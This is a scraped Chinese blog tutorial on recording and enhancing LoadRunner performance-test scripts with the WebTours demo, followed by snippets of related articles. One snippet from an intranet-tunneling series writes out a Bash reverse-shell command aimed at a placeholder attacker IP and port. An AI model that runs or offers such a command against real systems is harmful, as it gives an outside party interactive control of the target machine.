【性能测试二】性能测试工具LoadRunner学习一 VUG

news2024/11/7 22:32:15

目录

🌟一、LoadRunner的环境搭建

🌟二、介绍LoadRunner

🌟三、LoadRunner脚本录制(重点)

🌈1、介绍一个WebTours项目

🌈2、脚本录制

🌈3、脚本加强(重点)

1、插入事务

2、插入集合点

3、插入检查点

4、参数化

5、插入日志

 6、字符串比较


🌟一、LoadRunner的环境搭建

1、LoadRunner只能在windows操作系统上运行,MAC操作系统不支持。LoadRunner只能在windows操作系统上运行,MAC操作系统不支持。浏览器选择是360极速浏览器。

2、一路next安装即可

 

  3、 安装完成后,出现三个图标:

 

🌟二、介绍LoadRunner

1、使用LoadRunner的原因?

(1)它具有强大的脚本录制功能;

(2)它能够设计非常丰富的测试场景;

(3)它能够产出非常丰富的测试报告(Jmeter也可以产出报告,但是没有这么丰富)


2、LoadRunner三大组件之间的关系?

(1)VUG用来录制脚本,编写脚本;

(2)Controller:设计脚本的运行场景;

(3)Analysis:产生性能测试报告。

🌟三、LoadRunner脚本录制(重点)

🌈1、介绍一个WebTours项目

LoadRunner自带的WebTours。

(1)如何启动这个项目?

(2)如何访问这个项目?

(3)相关配置

第一个配置:

 第二个配置:默认的账号名:jojo,密码bean。也可以自己注册账号。

🌈2、脚本录制

脚本录制步骤:

(1)双击VUG打开该软件;

(2)新建一个文件:最后点击create创建。

 (3)创建好之后的页面:先初始化——>action——>退出;

注意:vuser_init执行一次,vuser_end执行一次,action可以执行多次(需要修改相关配置)

 (4)点击录制按钮,开始录制脚本:

 

 

 

 出现如下界面:

 此时VUG界面弹出如下窗口:点击close。

 知道下面按钮的含义:

 下方区域显示:

🌈3、脚本加强(重点)

1、插入事务

事务:一个系统对应的操作业务的集合。

函数:Lr_strat_transaction;

事务的插入方式:

(1)通过遥控器事务插入:在录制脚本的时候插入

 (2)通过VUG快捷方式插入 

 

 注意:

(1)事务有开始就必须有结束,两者成对出现;

(2)事务处理过程中不能插入“思考时间”,如果插入思考时间,对应的事务的响应时间就不准确了;

(3)事务的开始名称和事务的结束名称必须相同。

比如会出现如下错误:

2、插入集合点

集合点:在LoadRunner中为了实现并发,通常通过设置集合点来达到这个目的。

 函数:

一般在事务开始之前进行集合点的设置。

3、插入检查点

函数:web_reg_find

要在请求点之前将对应的数据进行注册。

4、参数化

怎么在LoadRunner中对数据进行批量化传递?

(1)对数据进行参数化设置

 

 

 然后close即可。

 (2)创建好之后可以在左边的Parameter中看到

 (3)运行。如果要观察到底是哪个账号登录,要对日志进行设置,将日志进行打印。

设置日志的方式:

 

 运行脚本,下方先后出现三个用户的信息。

5、插入日志

在事务结束之后,插入:

插入日志:

标准输出:

 6、字符串比较

演示:如果当前用户是test01,就输出当前用户是test01

 下方输出:当前用户是tets01。


        自己关于性能测试部分的loadRunner的简单入门学习,接收新知识不是那么简单,还是要多多回顾,熟练了就掌握了。而且最近的生活好枯燥呀~ 看最近两天高考成绩出分,感慨距离自己当年也已经过了好些年了...

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/684032.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【kubernetes系列】Kubernetes中的重要概念(二)

本章节将继续分享关于kubernetes中的一些重要概念。 一、Pod Pod 是 Kubernetes 的最小工作单元。每个 Pod 包含一个或多个容器。Pod 中的容器会作为一个整体被 Master 调度到某个 Node 上运行。(可以把pod想象成豌豆荚,里面的豌豆就是容器,可以有一个或…

浅析电动机综合保护器的工作原理与应用 安科瑞 许敏

摘 要:电动机综合保护器以先进技术为支持,具有非常强大的整机功能,就实际应用效果来说,其测试精度、分辨率较高,具有良好的抗干扰能力,保护动作可靠,能为电动机提供负荷保护、短路保护、断相保…

《面试1v1》MyBatis

🍅 作者简介:王哥,CSDN2022博客总榜Top100🏆、博客专家💪 🍅 技术交流:定期更新Java硬核干货,不定期送书活动 🍅 王哥多年工作总结:Java学习路线总结&#xf…

Redis使用Bitmap实现数据统计

一、概念 什么是二值状态?二值状态就是元素只有0和1这两种情况,比如在签到的场景中只有签到和未签到两种,或者登陆的场景中只有已登录和未登录的情况。 Bitmap 的底层数据结构用的是 String 类型的 SDS 数据结构来保存位数组,Redis 把每个…

2-css-2

一 复合选择器 定义:由两个或多个基础选择器,通过不同的方式组合而成。 作用:更准确、更高效的选择目标元素(标签)。 1 后代选择器 后代选择器:选中某元素的后代元素。 选择器写法:父选择器…

05_Linux设备树下的LED驱动

目录 设备树LED驱动原理 修改设备树文件 LED灯驱动程序编写 编写测试APP 运行测试 设备树LED驱动原理 驱动文件中定义有关寄存器物理地址,然后使用io_remap函数进行内存映射,得到对应的虚拟地址,最后操作寄存器对应的虚拟地址完成对GPIO的初始化。本实验使用设备树来向 L…

操作系统——Windows 进程管理

一、实验题目 Windows 进程管理 二、实验目的 (1)学会使用 VC 编写基本的 Win32 Consol Application(控制台应用程序)。 (2)通过创建进程、观察正在运行的进程和终止进程的程序设计和调试操作,进一步熟…

UEditorPlus v3.2.0 兼容规则过滤,若干问题修复

UEditor 是由百度开发的所见即所得的开源富文本编辑器,基于 MIT 开源协议,该富文本编辑器帮助不少网站开发者解决富文本编辑器的难点。 UEditorPlus 是有 ModStart 团队基于 UEditor 二次开发的富文本编辑器,主要做了样式的定制,…

绩效管理怎么做?一文带你搞懂绩效管理!

在职场中,我们经常会听到“绩效管理”这个词汇。但是,你是否真正理解绩效管理的含义和意义呢? 现在很多企业的绩效管理都变味了,让员工觉得绩效就是想方设法扣工资、绩效就是控制人的手段、绩效不是激励而是威胁、绩效就是打分游…

41 # 编码的问题

常见的进制 10 进制:除表示正负的符号外,以 1~9 开头,由 0~9 组成。如 128,234,-278。2 进制:以 0b 开头,0b118 进制:以 0 或 0o开头,由 0~7 组成的数。如 0126, 050000…

【Redis】多级缓存之OpenResty:nginx查询Tomcat与Redis以及nginx本地缓存

目录 一、认识OpenResty 二、请求参数处理 三、查询Tomcat 四、Redis缓存预热 五、查询Redis缓存 六、nginx本地缓存 一、认识OpenResty OpenResty是一个基于nginx的高性能Web平台,他用于方便的搭建能够处理高并发、扩展性极高的动态Web应用、Web服务和动态网…

SuperMap GIS基础产品组件GIS FAQ集锦(3)

SuperMap GIS基础产品组件GIS FAQ集锦(3) 【Unity】Unity中如何将场景内容限制在屏幕中间1/3处? 【解决办法】1、新建两个相机,一个代表左边屏幕,一个代表右边屏幕 2、通过Viewport Rect设置相机显示在屏幕中的位置&a…

南卡OE Pro首销售罄,发烧友称其为开放式耳机旗舰标杆!

6月19日南卡官博放出消息,南卡旗下的开放式旗舰机型OE Pro首销售罄,开启预售,将在24日早上10点整再次现货发售,不难看出这款开放式耳机非常火爆,非常受欢迎,被广大发烧友们誉为开放式耳机的旗舰标杆&#x…

会 java 8 stream流就会大数据!

如果你会任意一门语言的stream流,没道理不会大数据开发。 俗话说男追女隔座山,女追男隔层纱。 如果说零基础学大数据,感觉前面是一座山,那么只要你会java或者任意一门语言的stream流,那大数据就只隔了一层纱。 本文以…

内网隧道代理技术(七)之Bash反弹shell

Bash反弹shell Bash介绍 Shell也称为终端或壳,是人与内核之间的翻译官,而Bash则是Linux中默认使用的Shell Bash 反弹Shell的命令如下: bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&1 bash -i >&/dev/tcp/攻击机_IP…

【博客676】VictoriaMetrics缓存限制之:布隆过滤器

VictoriaMetrics缓存限制之:布隆过滤器 1、场景 VictoriaMetrics的vmstorage组件接收上游传递过来的指标,在​​现实场景中,指标的数量级或者瞬态指标可能会非常可怕,如果不限制缓存的大小,就会存在由于缓存导致插入速…

模拟电路系列分享-运放的关键参数4

目录 概要 整体架构流程 技术名词解释 1.定义 2.优劣范围 3.理解 技术细节 1.压摆率 1.定义∶ 2.优劣范围 3.理解︰ 2.单位增益带宽 1.定义∶ 2.优劣范围︰ 3.理解∶ 小结 概要 提示:这里可以添加技术概要 例如: 实际运放与理想运放具有很多差别。理想…

jumpserver【基本使用教程】

目录 目录 【1】管理用户 【2】系统用户 【3】普通用户 【4】添加资产(可以添加的有:服务器、网络设备、数据库应用) 【5】权限划分 【6】验证(使用普通用户登录资产) 【7】查看是否有记录 【8】添加数据库资产…

2023全球智博会奏响AI产业发展的四重共振

2023年6月25日为期三天的第五届全球人工智能产品应用博览会(简称“全球智博会”)在苏州国际博览中心盛大启幕。金鸡湖畔汇聚院士专家、领军智囊、顶尖企业,为人工智能关键技术突破、产业化创新应用、科技产品研发落地、经济深度融合等方面提供…

解密EEMD分析:Rlibeemd包带你玩转信号分解和时间序列预测

一、简介 1.1 什么是EEMD? EEMD(Ensemble Empirical Mode Decomposition)是一种信号分解方法,它旨在分解非线性、非平稳或非白噪声的信号,以揭示复杂信号的局部特征和周期性成分。EEMD不同于传统的余弦变换、小波变换等线性变换…